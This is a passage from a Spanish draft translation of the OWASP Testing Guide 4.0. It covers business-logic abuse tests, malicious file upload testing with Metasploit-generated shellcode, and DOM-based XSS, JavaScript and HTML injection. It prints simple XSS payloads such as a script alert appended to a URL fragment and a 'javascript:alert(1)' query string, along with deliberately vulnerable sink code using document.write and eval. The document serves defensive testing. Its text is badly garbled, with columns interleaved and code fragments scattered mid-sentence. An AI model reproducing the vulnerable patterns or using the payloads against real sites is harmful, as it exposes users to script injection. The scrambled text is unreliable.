Remediación Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los atacantes pueden obtener algún tipo de ventaja al conocer los diferentes tiempos de procesamiento y los resultados, agregue pasos adicionales para que, sin importar los resultados, se proporcione el mismo marco de tiempo de procesamiento.
Además, el sistema/aplicación debe tener mecanismos que no permitan a los atacantes extender las operaciones sobre una cantidad "aceptable" de tiempo. Esto se puede hacer mediante la cancelación o reinicio de las transacciones después de un período de tiempo determinado, como algunos vendedores de boletos están haciéndolo ahora.
Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005) Resumen
Supongamos que un sitio de comercio electrónico permite a los usuarios aprovechar alguno de los muchos descuentos en su compra total y luego proceder a salir y licitar. ¿Qué sucede si el atacante navega a la página de descuentos después de tomar y aplicar el descuento "admisible"? ¿Pueden tomar ventaja de otro descuento? ¿Pueden tomar ventaja del mismo descuento varias veces?
Cómo probar •Revise la documentación del proyecto y utilice pruebas exploratorias en busca de funciones o características de la aplicación o sistema que no deban ser ejecutadas más de una vez o un número especifico de veces durante el flujo de la lógica del negocio.
•Para cada una de las funciones y características que sólo debe ejecutarse una vez o un número especifico de veces durante el flujo de la lógica del negocio, desarrolle casos de abuso/mal uso que pueden permitir a un usuario ejecutar más veces del número permitido. Por ejemplo, ¿un usuario puede navegar hacia atrás y hacia adelante varias veces a través de las páginas y ejecutar una función que debería ejecutarse sólo una vez? ¿Un usuario puede cargar y descargar los carros de compras para obtener descuentos adicionales?.
Muchos de los problemas que están resolviendo las aplicaciones requieren límites al número de veces que se puede utilizar una función o se puede ejecutar una acción. Las aplicaciones deben ser lo "suficientemente inteligentes" para no permitir que el usuario exceda su límite en el uso de estas funciones ya que, en muchos casos, cada vez que se utiliza la función, el usuario puede obtener algún tipo de beneficio que debe ser anotado para compensar acertamente al propietario.
• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)
Por ejemplo: Un sitio de comercio electrónico sólo puede permitir que los usuarios apliquen un descuento una vez por cada transacción, o algunas
• Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN003)
Casos de prueba relacionados
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 287
Guia de pruebas 4.0 "Borrador"
y se deben desarrollar cuidadosamente casos de mal uso manuales; deben desarrollarse usando los requisitos y casos de uso. Referencias InfoPath Forms Services business logic exceeded the maximum limit of operations Rule: mpwiki.viacode.com
Gold Trading Was Temporarily Halted On The CME This Morning: businessinsider.com
El proceso de negocio de las aplicaciones debe tener controles para asegurar que las transacciones/acciones del usuario sucedan en el orden correcto/aceptable y, si una transacción provoca algún tipo de acción, que esa acción se "deshaga" y se retire si la transacción no se ha completado con éxito.
Ejemplos Remediación Ejemplo 1 La aplicación debe tener controles para asegurar que se sigue la lógica del negocio y si una función/acción sólo puede ejecutarse un cierto número de veces y, cuando se alcanza el límite, el usuario no puede ejecutar la función.
Para evitar que los usuarios usen una función más veces de las adecuadas, la aplicación puede utilizar mecanismos tales como cookies para contabilizar o mediante sesiones, que no permitan a los usuarios acceder a ejecutar la función más veces.
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006)
Muchos de nosotros recibimos algún tipo de "puntos de club/fidelidad" por las compras en supermercados y gasolineras. Supongamos que un usuario pudo iniciar una transacción vinculada a su cuenta y luego, después de agregar puntos a su cuenta de club/lealtad, cancela la transacción o quita elementos de su "canasta" y licita.
En este caso, el sistema no debe aplicar puntos/créditos a la cuenta hasta que se licita o los puntos/créditos deben "deshacerse" si el incremento de puntos/crédito no coinciden con la oferta final. Con esto en mente, un atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de puntos sin realmente comprar algo.
Resumen Las vulnerabilidades del flujo de trabajo incluyen cualquier tipo de vulnerabilidad que permite al atacante hacer mal uso de una aplicación o sistema de una manera que les permita evadir (no seguir) el flujo de trabajo diseñado/deseado.
“Un flujo de trabajo consiste en una secuencia de pasos conectados, donde cada paso sigue sin retraso o diferencia y termina justo antes de que pueda empezar el paso siguiente Es una representación de una secuencia de operaciones, declarada como trabajo de una persona o grupo, una organización de personal o uno o más mecanismos simples o complejos. El flujo de trabajo puede ser visto como cualquier abstracción del trabajo real.” (https://en.wikipedia.org/wiki/Workflow)
Ejemplo 2 Un sistema de tablero de anuncios electrónicos puede estar diseñado para garantizar que los mensajes iniciales no contengan groserías sobre la base de una lista con la que se compara la nota. Si una palabra de la "lista negra" se encuentra en el texto ingresado por el usuario, la presentación no se publica. Pero, una vez que se registra la carga, el remitente puede acceder, editar y cambiar el contenido de la nota para aumentar palabras incluidas en la lista de malas palabras/negra ya que al editar la publicación nunca se compara nuevamente. Considerando esto, los atacantes pueden abrir un debate inicial en blanco o mínimo y, luego, añadir lo que quiera como una actualización.
Cómo probar Método de prueba genérico
La lógica del negocio de la aplicación debe pedir al usuario que complete los pasos específicos en el orden correcto/específico y si el flujo de trabajo se termina sin completarse correctamente, todas las acciones que generó se "deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasión de los flujos de trabajo o el saltarse el flujo de trabajo de la lógica del negocio correcto son únicas ya que son muy específicas para cada sistema/aplicación
•Revise la documentación del proyecto y utilice pruebas exploratorias en busca de métodos para saltar o ir a otros pasos en el proceso de la aplicación, en un orden diferente del flujo de la lógica del negocio diseñado/esperado.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 288
Guia de pruebas 4.0 "Borrador"
• Para cada método, desarrolle un caso de mal uso y trate de evitar o realizar una acción que sea "inaceptable" por el flujo de trabajo de la lógica del negocio.
• Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
• Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) Método de prueba específico 1 • Inicie una transacción dentro de la aplicación hasta pasar los puntos que disparan los créditos/puntos hacia la cuenta del usuario.
• Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005)
•Cancele la transacción o reduzca la oferta final de manera que los valores del punto deban ser disminuidos y compruebe el sistema de puntos/crédito para asegurarse que se registraron los puntos/créditos adecuados.
• Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007)
Método de prueba específico 2
• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTGBUSLOGIC-008)
• En un administrador de contenidos o sistema de tablero de anuncios, entre y guarde texto inicial o valores válidos. • Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009) • Luego intente añadir, editar y eliminar datos que dejarían a los datos existentes en un estado inválido o con valores inválidos para asegurar que al usuario no le esté permitido guardar la información incorrecta. Algunos datos o información "no válidos" pueden ser palabras específicas (palabras soeces) o temas específicos (por ejemplo, cuestiones políticas).
Referencias
Casos de prueba relacionados
• Real-Life Example of a ‘Business Logic Defect:
• OWASP Detail Misuse Cases: owasp.org
infosecisland.com • Probar la inclusión de archivos de directorio de circulación (OTG-AUTHZ001)
• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix: ntobjectives.com
• Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
• CWE-840: Business Logic Errors: cwe.mitre.org • Pruebas del esquema de gestión de sesión (OTG-SESS-001)
Remediación • Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001)
• Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002)
La aplicación debe ser autoconsciente y tener comprobaciones localizadas que aseguren que los usuarios completen cada paso del proceso del flujo de trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo de trabajo implica el desarrollar casos de abuso/mal uso de la lógica del negocio con el objetivo de completar el proceso de negocio al no completar los pasos correctos en el orden correcto.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 289
Guia de pruebas 4.0 "Borrador"
Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007) Resumen El mal uso y uso no válido de una funcionalidad válida pueden identificar ataques que trata de enumerar la aplicación web, identificar las debilidades y explotar vulnerabilidades. Deberían realizarse pruebas para determinar si existen mecanismos defensivos a nivel de la aplicación para proteger la aplicación.
Si la aplicación no responde de ninguna manera y el atacante puede continuar abusando de la funcionalidad y envia contenido claramente malicioso hacia la aplicación, la aplicación ha fallado este caso de prueba. En la práctica, es poco probable que las acciones discretas del ejemplo anterior sucedan así. Es mucho más probable que una herramienta de fuzzing se utilice para identificar las debilidades de cada parámetro a la vez. Esto es lo que un evaluador de seguridad habrá llevado a cabo, también.
Cómo probar
La falta de defensas activas permite que un atacante cace las vulnerabilidades sin necesitar de recurrir a ellas. Así, el propietario de la aplicación no sabrá que su aplicación está bajo ataque.
Esta prueba en que el resultado puede obtenerse de todas las pruebas realizadas contra la aplicación web es inusual. Al realizar todas las pruebas, tome nota de las medidas que indiquen que la aplicación tiene un sistema de autodefensa incorporado:
Ejemplo
• Respuestas cambiadas
Un usuario autenticado sigue la siguiente secuencia de acciones (poco probables):
• Solicitudes bloqueadas • Acciones que desconectan al usuario o bloquean la cuenta del usuario
[1] Intenta acceder a un identificador de archivo que su rol de usuario no permite descargar.
Estas sólo pueden ser localizadas. Las defensas comúnmente localizadas (por función) son:
[2] Sustituye una comilla simple (‘) en lugar del número de identificación del archivo. [3] Altera una solicitud GET convirtiéndola en POST.
• Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parámetro extra.
• Bloquear una cuenta temporalmente después de una serie de fallos de autenticación.
[5] Duplica el parámetro de la pareja nombre/valor.
La aplicación supervisa el mal uso y responde después del quinto evento; entonces podríamos decir con certeza que el usuario es un atacante. Por ejemplo, la aplicación hace lo siguiente:
Los controles de seguridad localizados no son suficientes. Normalmente no hay defensas contra el mal uso general tal como: • Navegación forzosa • Evitar la validación de niveles de entrada de presentación
• Inhabilita la funcionalidad crítica.
• Controles de errores de accesos múltiples
• Activa medidas de autenticación adicionales para las funciones restantes.
• Parámetros adicionales de nombres, duplicados o faltantes
• Agrega retrasos de tiempo en cada ciclo de petición-respuesta.
• Validación de ingresos múltiples o fallas de verificación de la lógica del negocio con valores que no pueden ser el resultado de errores o faltas ortográficas del usuario
• Comienza a grabar datos adicionales sobre las interacciones del usuario (por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y cuerpos de respuesta).
• Recepción de datos estructurados (por ejemplo, JSON, XML) de un formato no válido
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 290
Guia de pruebas 4.0 "Borrador"
• Se reciben cross-site scripting descarado o cargas de inyecciones SQL • Utilizar la aplicación más rápido de lo que debería ser posible sin herramientas de automatización
• IR 7684 Common Misuse Scoring System (CMSS), NIST: csrc.nist.gov
• Cambio en la geo-localización continental de un usuario • Cambio de agente de usuario • Acceso a un proceso de negocios de etapas múltiples en el orden incorrecto • Un gran número o un alto indice de uso de la funcionalidad específica de la aplicación (por ejemplo: presentación del código del recibo, pagos fallidos con tarjeta de crédito, carga de archivos, descargas de archivos, registro de salidas, etc.).
• Common Attack Pattern Enumeration and Classification (CAPEC),The Mitre Corporation: capec.mitre.org
• OWASP_AppSensor_Project: owasp.org
• AppSensor Guide v2, OWASP: owasp.org Estas defensas funcionan mejor en las partes autenticadas de la aplicación, aunque la tasa de creación de nuevas cuentas o acceso al contenido (por ejemplo, para raspar información) pueden ser de utilidad en las zonas comunes.
No todos los casos anteriores deben ser monitoreados por la aplicación, pero hay un problema si ninguno de ellos lo está. Probando la aplicación web, haciendo el tipo de acciones anteriores, ¿ hubo alguna respuesta contra el evaluador? Si no, el evaluador deberá informar que la aplicación parece no tener ninguna aplicación de defensa activa contra el uso indebido. Tenga en cuenta que a veces es posible que todas las respuestas sobre la detección de ataques son silenciosas para el usuario (por ejemplo, cambios del registro, mayor monitoreo, alertas a los administradores y uso de proxy), por lo que no se garantiza la confianza en este hallazgo. En la práctica, muy pocas aplicaciones (o infraestructura relacionada como un cortafuegos de aplicación web) detecta estos tipos de mal uso.
• Watson C, Coates M, Melton J and Groves G, Creating Attack Aware Software Applications with Real-Time Defenses, CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011: crosstalkonline.org
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) Resumen Muchos procesos del negocio de las aplicaciones permiten la carga y manipulación de datos que se envían por medio de archivos. Pero el proceso del negocio debe comprobar los archivos y permitir sólo los archivos "aprobados". Decidir qué archivos deben ser "aprobados" se determina mediante la lógica del negocio y es específico del sistema/aplicación.
Casos de prueba relacionados Todos los otros casos son relevantes.
Herramientas
El riesgo en permitir a los usuarios cargar archivos es que los atacantes pueden enviar un tipo de archivo inesperado que podría ejecutarse y tener un impacto adverso sobre la aplicación o sistema a través de ataques que pueden desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos del sistema, navegar en los recursos locales, atacar a otros servidores o explotar las vulnerabilidades locales, sólo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros casos de prueba.
Referencias • Resilient Software, Software Assurance, US Department Homeland Security: buildsecurityin.us-cert.gov
Las vulnerabilidades relacionadas con la carga de los distintos tipos de archivos inesperados es única, ya que la carga debe rechazar rápidamente un archivo si no tiene una extensión específica. Además, esto es diferente de la carga de archivos maliciosos puesto que, en la mayoría de los casos, un formato incorrecto puede no ser inherentemente "malévolo" pero puede ser perjudicial para los datos guardados. Por ejemplo, si una aplicación acepta archivos de Excel de Windows, si se carga un archivo de base de datos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 291
Guia de pruebas 4.0 "Borrador"
similar puede leerse, pero los datos extraídos pueden moverse a lugares incorrectos.
• En la aplicación, navegue hasta la presentación del archivo o el mecanismo de carga.
La aplicación puede estar esperando que solamente se carguen ciertos tipos de archivos para su procesamiento, tales como archivos .CSV o txt. La aplicación no puede validar el archivo subido por su extensión (para validación de archivos de baja seguridad) o contenido (para validación de archivos de alta seguridad). Esto puede dar lugar a resultados inesperados por parte del sistema o la base de datos en el sistema/aplicación o dar a los atacantes métodos adicionales para explotar el sistema/aplicación.
• Envíe los archivos "no aprobados"para cargar y compruebe que se previene la carga correctamente.
Casos de prueba relacionados • Pruebe el manejo de archivos de extensiones en busca de información sensible (OTG-CONFIG-003)
Ejemplo
• Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009)
Supongamos que una aplicación para compartir imágenes permite a los usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si un atacante es capaz de subir un archivo html con una etiqueta <script> o un archivo php? El sistema podría mover el archivo desde una ubicación temporal hacia la ubicación final donde ahora puede ejecutarse el código php contra el sistema o aplicación.
Referencias
Cómo probar
• File upload security best practices: Block a malicious file
Método de Prueba Genérico • Revise la documentación del proyecto y realice algunas pruebas exploratorias buscando tipos de archivos que deben aparecer como "no soportados" por el sistema/aplicación.
• OWASP - Unrestricted File Upload: owasp.org
upload: computerweekly.com
• Stop people uploading malicious PHP files via forms: stackoverflow.com
• Trate de subir estos archivos "no admitidos" y verifique si son rechazados correctamente.
• CWE-434: Unrestricted Upload of File with Dangerous Type: cwe.mitre.org
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para verificar que cada archivo sea evaluado correctamente. • Secure Programming Tips - Handling File Uploads: Método de Prueba Específico
datasprings.com
• Estudie los requisitos lógicos de la aplicación. Remediación • Prepare una biblioteca de archivos "no aprobados" para la carga que puede contener archivos tales como: archivos jsp, exe o html que contienen scripts.
Las aplicaciones se deben desarrollar con mecanismos para que sólo acepte y manipule archivos "aceptables" que el resto de funcionalidades de la aplicación estén listas y esperando. Algunos ejemplos específicos incluyen: listas negras o blancas de extensiones de archivo, utilizando el "ContentType" del encabezado o usando un reconocedor de tipo de archivo, todo esto sólo permitir tipos de archivo específicos en el sistema.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 292
Guia de pruebas 4.0 "Borrador"
Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009)
• Revise la documentación del proyecto y realice algunas pruebas exploratorias mirando el sistema/aplicación para identificar lo que constituye un archivo "malicioso" en su entorno.
Resumen • Desarrolle o consiga un archivo "malicioso" conocido. Bastantes procesos de negocio dentro de muchas aplicaciones permiten la carga de información. Regularmente verificamos la validez y seguridad del texto, pero el aceptar archivos puede implicar aún más riesgo. Para reducir el riesgo sólo podemos aceptar determinadas extensiones de archivo, pero los atacantes son capaces de encapsular un código malicioso en tipos de archivo inerte. Probar en busca de archivos maliciosos verifica que el sistema/aplicación es capaz de protegerse correctamente contra la carga de archivos maliciosos por parte de los atacantes.
• Trate de cargar el archivo malicioso al sistema/aplicación y verifique si se lo rechaza correctamente.
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para verificar que cada archivo sea evaluado correctamente. Las vulnerabilidades relacionadas con la carga de archivos maliciosos son únicas; en ellas, estos archivos "maliciosos" pueden ser rechazados fácilmente mediante la inclusión de una lógica del negocio que analiza los archivos durante el proceso de carga y rechaza aquellos percibidos como maliciosos. Adicionalmente, esto difiere de la carga de archivos inesperados en que, mientras el tipo de archivo puede ser aceptado, el archivo todavía puede ser malicioso para el sistema. Por último, "malicioso" tiene distintos significados según el sistema. Por ejemplo, archivos maliciosos que pueden explotar vulnerabilidades del servidor SQL pueden no ser considerados " maliciosos" en un entorno de archivos planos del procesador central.
La aplicación puede permitir la carga de archivos maliciosos que incluyen explotaciones o shellcode sin someterlos a un análisis de archivos maliciosos. Los archivos maliciosos pueden detectarse y detenerse en varios puntos de la arquitectura de la aplicación, tales como: IPS/IDS, software antivirus para servidor de aplicaciones o análisis antivirus por cada aplicación, a medida que se cargan los archivos (tal vez descargando el análisis mediante SCAP).
Ejemplo Supongamos que una aplicación para compartir imágenes permite a los usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si un atacante es capaz de subir un PHP shell, o archivo exe o virus? El atacante entonces podría cargar un archivo que puede ser guardado en el sistema y el virus se puede reproducir por sí mismo o a través de procesos remotos, y archivos .exe o shell code puede ejecutarse.
Cómo probar Método de prueba Genérico
Método de Prueba Específico1 • Utilizando la funcionalidad de carga Metasploit,genere un shellcode similar a un ejecutable de Windows; utilice el comando Metasploit “msfpayload”.
• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y compruebe si es aceptada o se previene la carga correctamente.
Método de Prueba Específico 2 • Desarrolle o cree un archivo que debe fallar en el proceso de detección de malware de la aplicación. Hay muchos disponibles en Internet tales como ducklin.htm o ducklin-html.htm.
• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y compruebe si es aceptada o se previene la carga correctamente.
Método de prueba específico 3 • Configure el proxy interceptor para que capture la solicitud “válida” de un archivo aceptado.
• Envíe una solicitud “inválida” mediante una extensión de archivo válido/aceptable y observe si la solicitud es aceptada o rechazada adecuadamente.
Casos de prueba relacionados
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 293
Guia de pruebas 4.0 "Borrador"
infosecauditor.wordpress.com • Pruebe el Manejo de Archivos de Extensiones en busca de información sensible (OTG-CONFIG-003) • Watchful File Upload: palizine.plynt.com • Prueba de la posibilidad de carga de tipos de archivos inesperados (OTGBUSLOGIC-008) • Matasploit Generating Payloads: offensive-security.com Herramientas • Metasploit’s payload generation functionality
• Project Shellcode - Shellcode Tutorial 9: Generating Shellcode Using Metasploit: projectshellcode.com
• Intercepting proxy • Anti-Malware Test file: eicar.org Referencias • OWASP - Unrestricted File Upload: owasp.org
• Why File Upload Forms are a Major Security Threat: www.acunetix.com
Remediación Aunque las salvaguardias como las listas negra o blanca de las extensiones de archivo, que utilizan el "Content-Type" como encabezado o que usan un reconocedor de tipo de archivo no sean siempre protecciones contra este tipo de vulnerabilidad, cada aplicación que acepta archivos de usuarios debe tener un mecanismo para verificar que el archivo no contiene un código malicioso. Nunca deben guardarse archivos donde los usuarios o los atacantes pueden acceder directamente a ellos.
• File upload security best practices: Block a malicious file upload: computerweekly.com
• Overview of Malicious File Upload Attacks: securitymecca.com
• Stop people uploading malicious PHP files via forms :
Probando el lado del cliente Probar el lado del cliente se refiere a la ejecución de código en el cliente, normalmente nativo en un navegador web o plugin de navegador. La ejecución de código en el lado del cliente es distinta a ejecutarla en el servidor y devolver el contenido posterior. Prueba del Cross site scripting basado en DOM (OTG-CLIENT-001) Resumen
stackoverflow.com
• How to Tell if a File is Malicious: techsupportalert.com
Cross site scripting basado en DOM es el nombre de facto para errores XSS que son el resultado del contenido activo del lado del navegador en una página, generalmente JavaScript, que obtiene ingresos del usuario y luego hace algo inseguro, lo que lleva a la ejecución de código inyectado. Este documento sólo habla de errores de JavaScript que conducen a XSS.
• CWE-434: Unrestricted Upload of File with Dangerous Type: cwe.mitre.org
• Implementing Secure File Upload:
El DOM o Modelo de Objeto del Documento (Document Object Model) es el formato estructural utilizado para representar documentos en un navegador. El DOM permite scripts dinámicos como JavaScript para referenciar los componentes del documento como un campo de formulario o una cookie de sesión. El DOM también se utiliza en el navegador por seguridad - por
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 294
Guia de pruebas 4.0 "Borrador"
ejemplo, para limitar a los scripts de dominios distintos el obtener las cookies de sesión desde otros dominios. Una vulnerabilidad XSS basada en DOM ocurre cuando se modifica el contenido activo, como una función de JavaScript; se modifica con una solicitud especialmente diseñada, tal como un elemento DOM que puede ser controlado por un atacante.
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe muy poca estandarización de su significado y pruebas formales.
navegador, este se ejecuta directamente en el navegador del usuario sin contacto del servidor.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como las vistas en formas más conocidas de XSS, incluyendo la recuperación de la cookie, inyección de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas con la misma importancia.
Prueba de Caja Negra Cómo probar No todos los errores XSS requieren que el atacante controle el contenido devuelto por el servidor, pero también puede abusar de las prácticas de una codificación JavaScript pobre para lograr los mismos resultados. Las consecuencias son las mismas que un fallo XSS típico, sólo que los medios de entrega son diferentes. En comparación con otras vulnerabilidades de cross site scripting (XSS reflejados y almacenados) donde un parámetro no desinfectado se pasa al servidor, es devuelto al usuario y se ejecuta en el contexto del navegador del usuario, una vulnerabilidad XSS basada en DOM controla el flujo del código mediante el uso de elementos del Modelo de Objeto del Documento (DOM) junto con el código creado por el atacante para cambiar el flujo.
Debido a su naturaleza, las vulnerabilidades XSS basadas en DOM pueden realizarse, en muchos casos, sin que el servidor pueda determinar lo que realmente está ejecutándose. Esto hace que muchas de las técnicas de filtración y detección general de XSS sean impotentes a este tipo de ataques.
La prueba de Caja Negra para XSS basado en DOM no se realiza habitualmente, ya que el acceso al código fuente siempre está disponible y debe enviarse al cliente para que se ejecute.
Prueba de Caja Gris Probando las vulnerabilidades de XSS basadas en DOM: Las aplicaciones JavaScript difieren significativamente de otros tipos de aplicaciones, ya que se generan a menudo de manera dinámica por el servidor y, para entender qué código está siendo ejecutado, el sitio web que estamos probando debe ser rastreado para determinar todas las instancias de ejecución de JavaScript donde se aceptan ingresos del usuario. Muchos sitios web se apoyan en grandes librerías de funciones, que a menudo se extienden en cientos de miles de líneas de código y no se han desarrollado en la empresa. En estos casos, la prueba de arriba para abajo se convierte en la única opción viable, puesto que nunca se usan muchas funciones de nivel inferior, y analizarlas para determinar cuáles son sinks utiliza más tiempo del disponible. Lo mismo se puede decir también de las pruebas de arriba hacia abajo si la entradas o falta de ellas no se identifican.
El primer ejemplo hipotético utiliza el siguiente código del lado cliente: <script>
El ingreso del usuario viene en dos formas principalmente:
document.write(“Site is at: “ + document.location.href + “.”); </script>
• Entradas escritas en la página por el servidor, de una manera que no permite XSS directo. • Entradas obtenidas de objetos JavaScript del lado del cliente.
Un atacante puede anexar # <script>alert(‘xss’)</script> a la URL de la página afectada que, cuando se ejecuta, mostrará el cuadro de alerta. En este caso, el código anexado no se enviaría al servidor como todo lo que está después del carácter # que no se trata como parte de la consulta por parte del navegador, sino como un fragmento.
Estos son dos ejemplos de cómo el servidor puede insertar datos en JavaScript: var data = “<escaped data from the server>”; var result = someFunction(“<escaped data from the server>”);
En este ejemplo, el código se ejecuta inmediatamente y aparece una alerta de "xss" en la página. A diferencia de los tipos más comunes de cross site scripting (almacenado y reflejado) en que se envía el código al servidor y luego al
Y aquí están dos ejemplos de entrada de objetos de JavaScript del lado del cliente:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 295
Guia de pruebas 4.0 "Borrador"
var data = window.location;
{ document.write(“You are using an unknown browser.”);
var result = someFunction(window.referer); } Aunque hay poca diferencia con el código JavaScript en cómo se recuperan, es importante tener en cuenta que cuando la entrada es recibida por el servidor, el servidor puede aplicar cualquier permutación a los datos que desea, mientras que las permutaciones realizadas por objetos de JavaScript son bastante claras y documentadas y, si es así, someFunction en el ejemplo anterior fuera un sink, entonces la explotabilidad del primero dependería de la filtración realizada por el servidor, mientras que el segundo dependería de la codificación realizada por el explorador en el objeto window.referer.
Stefano Di Paulo ha escrito un excelente artículo sobre lo que los navegadores devuelven cuando se les pregunta por los distintos elementos de una dirección URL que utiliza los atributos del documento. y la ubicación. Además, JavaScript se ejecuta a menudo fuera de bloques <script>, según lo evidenciado por los muchos vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al rastrear la aplicación, es importante tener en cuenta el uso de scripts en lugares como controladores de eventos y bloques CSS con atributos de expresión. También tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrán que evaluarse para determinar qué código está ejecutándose. Una prueba automatizada tiene muy poco éxito en la identificación y validación de XSS basado en DOM, que generalmente identifica XSS al enviar una carga específica y observar la respuesta del servidor. Esto puede funcionar bien en el ejemplo simple proporcionado a continuación, donde el parámetro de mensaje se refleja de vuelta al usuario:
</script>
Por esta razón, las pruebas automatizadas no detectarán las áreas susceptibles a XSS basado en DOM, a menos que la herramienta de prueba pueda realizar un análisis adicional del código del lado cliente.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando las áreas en el código donde se conocen los parámetros que pueden ser utiles para un atacante. Los ejemplos de estas zonas incluyen lugares donde el código está escrito dinámicamente a la página y en otros lugares donde el DOM se modifica, o incluso donde los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artículo de DOM XSS por Amit Klein, al que se hace referencia al final de esta sección.
Referencias Recursos OWASP • DOM based XSS Prevention Cheat Sheet
<script> Libros Blancos var pos=document.URL.indexOf(“message=”)+5;
• Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length)); </script>
• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial: <script>
• Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent; Prueba de la ejecución de JavaScript (OTG-CLIENT-002) if (navAgt.indexOf(“MSIE”)!=-1) { document.write(“You are using IE as a browser and visiting site: “ + document.location.href + “.”); }
Resumen Una vulnerabilidad de inyección de JavaScript es un subtipo de Cross Site Scripting (XSS) que implica la capacidad para inyectar código JavaScript arbitrario que ejecuta la aplicación dentro del navegador de la víctima.
else
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 296
Guia de pruebas 4.0 "Borrador"
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies de sesión de un usuario, que podría ser utilizada para suplantar la identidad de la víctima o, más generalmente, puede permitir al atacante modificar el contenido de la página vista por la víctima o el comportamiento de la aplicación.
La página contiene los siguientes scripts: <script> function loadObj(){ var cc=eval(‘(‘+aMess+’)’);
Cómo probar document.getElementById(‘mess’).textContent=cc.message; Esta vulnerabilidad se produce cuando la aplicación carece de una validación adecuada de entradas y salidas del usuario. JavaScript se utiliza para rellenar dinámicamente las páginas web. Esta inyección se produce durante esta fase de procesamiento de contenido y, en consecuencia, afecta a la víctima.
}
if(window.location.hash.indexOf(‘message’)==-1) Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de DOM XSS.
var aMess=”({\”message\”:\”Hello User!\”})”; else var aMess=location.hash.substr(window.location.hash.indexOf(‘message=’)+8);
El siguiente script no realiza ninguna validación de la variable rr que contiene la entrada del usuario a través de la cadena de consulta y, además, no se aplica ningún tipo de codificación:
</script>
Prueba de Caja Negra
El código anterior contiene una fuente 'location.hash' que está controlada por el atacante, quien puede inyectar directamente en el valor de 'mensaje' un código JavaScript para tomar el control del navegador del usuario.
var rr = location.search.substring(1); if(rr) Referencias window.location=decodeURIComponent(rr); Recursos OWASP Esto implica que un atacante podría inyectar código JavaScript simplemente enviando la siguiente cadena de consulta: www.victim.com/?javascript:alert(1)
• DOM based XSS Prevention Cheat Sheet • DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecución en JavaScript no suele realizarse ya que el acceso al código fuente siempre está disponible, y necesita ser enviado al cliente para ser ejecutado.
Libros Blancos • Browser location/document URI/URL Sources: codegoogle.com
Pruebas de Caja Gris Prueba de inyección HTML (OTG-CLIENT-003) Prueba de las vulnerabilidades de ejecución de JavaScript: Resumen Por ejemplo, mirando la siguiente URL: http://www.domxss.com/domxss/01_Basics/04_eval.html
La inyección HTML es un tipo de inyección que se produce cuando un usuario es capaz de controlar un punto de entrada y puede inyectar código HTML arbitrario en una página web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies de sesión de un usuario que podrían ser utilizadas para suplantar
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 297
Guia de pruebas 4.0 "Borrador"
la identidad de la víctima o, más comúnmente, puede permitir al atacante modificar el contenido de la página vista por las víctimas.
añadirá una etiqueta de imagen a la página que se ejecutará un código JavaScript arbitrario introducido por el usuario malintencionado en el contexto HTML.
Cómo probar
Pruebas de Caja Negra
